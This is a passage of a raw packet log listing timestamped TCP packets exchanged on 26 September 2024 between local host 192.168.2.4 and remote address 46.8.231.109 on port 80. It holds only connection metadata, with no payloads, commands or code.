Sep 26, 2024 19:05:17.705801010 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.705822945 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.705831051 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.705847025 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.705861092 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.705924988 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.705936909 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.705957890 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.705965042 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.705969095 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.705980062 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.705991030 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.706000090 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.706001997 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.706022978 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.706023932 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.706034899 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.706048012 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.706064939 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.706080914 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.706835985 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.706855059 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.706877947 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.706878901 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.706890106 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.706891060 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.706907034 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.706911087 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.706927061 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.706928968 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.706945896 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.706947088 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.706959963 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.706969976 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.706980944 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.706981897 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.706994057 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.707003117 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.707015038 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.707015991 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.707035065 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.707051039 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.707720041 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.707734108 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.707756996 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.707770109 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.707782030 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.707782030 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.707787037 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.707798004 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.707807064 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.707813978 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.707819939 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.707839012 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.707842112 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.707855940 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.707864046 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.707875967 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.707882881 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.707892895 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.707899094 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.707916975 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.707935095 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.708519936 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.708538055 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.708556890 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.708564043 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.708579063 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.708583117 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.708592892 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.708595037 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.708616018 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.708621979 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.708628893 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.708631992 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.708650112 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.708650112 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.708662987 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.708669901 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.708686113 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.708687067 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.708698988 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.708707094 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.708719969 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.708719969 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.708733082 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.708736897 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.708753109 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.708759069 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.708769083 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.708770037 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.708796024 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.708806992 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.709289074 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.709331989 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.785762072 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.785820961 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.785834074 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.785871029 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.785883904 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.785902977 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.785916090 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.785929918 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.785929918 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.785976887 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.786237001 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.786251068 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.786281109 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.786309004 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.786336899 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.786350012 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.786369085 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.786372900 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.786381006 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.786390066 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.786401033 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.786407948 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.786425114 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.786442041 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.786623001 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.786668062 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.786705971 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.786717892 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.786739111 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.786746025 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.786751986 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.786761999 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.786775112 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.786782026 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.786787033 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.786808014 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.786809921 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.786837101 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.786850929 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.787301064 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.787312984 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.787334919 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.787345886 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.787348986 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.787360907 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.787362099 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.787380934 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.787400007 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.787409067 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.787432909 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.787651062 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.787688971 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.787744999 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.787755966 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.787786961 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.787833929 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.787846088 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.787864923 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.787873983 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.787878036 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.787899017 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.787921906 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.788197994 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.788209915 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.788230896 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.788233995 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.788242102 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.788249016 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.788255930 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.788266897 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.788275003 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.788286924 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.788290977 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.788310051 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.788314104 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.788327932 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.788336992 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.788341999 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.788351059 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.788379908 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.788899899 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.788917065 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.788928986 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.788939953 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.788949966 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.788963079 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.788968086 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.788981915 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.788996935 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.789001942 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.789017916 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.789020061 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.789041996 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.789058924 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.789405107 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.789439917 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.789460897 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.789464951 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.789473057 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.789483070 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.789493084 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.789498091 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.789505959 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.789515972 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.789525986 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.789537907 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.789562941 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.789971113 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.789983988 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.790007114 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.790013075 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.790019035 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.790030956 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.790039062 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.790051937 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.790055037 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.790062904 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.790086031 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.790096045 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.790100098 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.790118933 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.790122986 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.790133953 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.790142059 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.790150881 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.790172100 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.790194988 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.790915966 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.790929079 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.790950060 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.790961027 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.790976048 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.790987015 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.790990114 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.790998936 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.791018009 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.791027069 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.791030884 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.791043997 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.791047096 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.791054010 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.791059017 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.791064978 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.791069031 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.791069984 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.791110992 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.791806936 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.791820049 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.791841030 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.791852951 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.791856050 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.791876078 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.791887045 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.791887999 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.791903019 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.791913986 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.791924953 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.791935921 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.791937113 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.791954994 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.791955948 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.791976929 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.791980982 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.791987896 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.791997910 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.792015076 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.792028904 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.792740107 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.792751074 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.792771101 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.792782068 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.792790890 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.792803049 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.792814016 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.792821884 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.792829990 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.792845011 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.792855024 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.792866945 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.792879105 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.792889118 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.792900085 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.792908907 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.792918921 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.792922020 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.792946100 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.792963028 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.793418884 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.793431044 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.793450117 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.793463945 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.793467045 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.793484926 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.793489933 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.793499947 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.793518066 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.793519974 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.793530941 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.793545008 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.793550014 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.793560028 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.793572903 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.793601990 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.872625113 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.872643948 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.872667074 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.872720957 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.872745991 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.872747898 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.872757912 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.872778893 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.872812986 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.872828007 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.872843027 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.872888088 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.872956038 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.872967005 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.872984886 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.872996092 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.873017073 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.873018026 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.873028040 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.873049021 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.873049021 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.873074055 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.873097897 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.873389006 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.873403072 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.873421907 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.873435974 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.873461008 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.873519897 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.873543024 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.873553991 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.873564005 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.873574972 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.873581886 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.873586893 CEST	80	49735	46.8.231.109	192.168.2.4
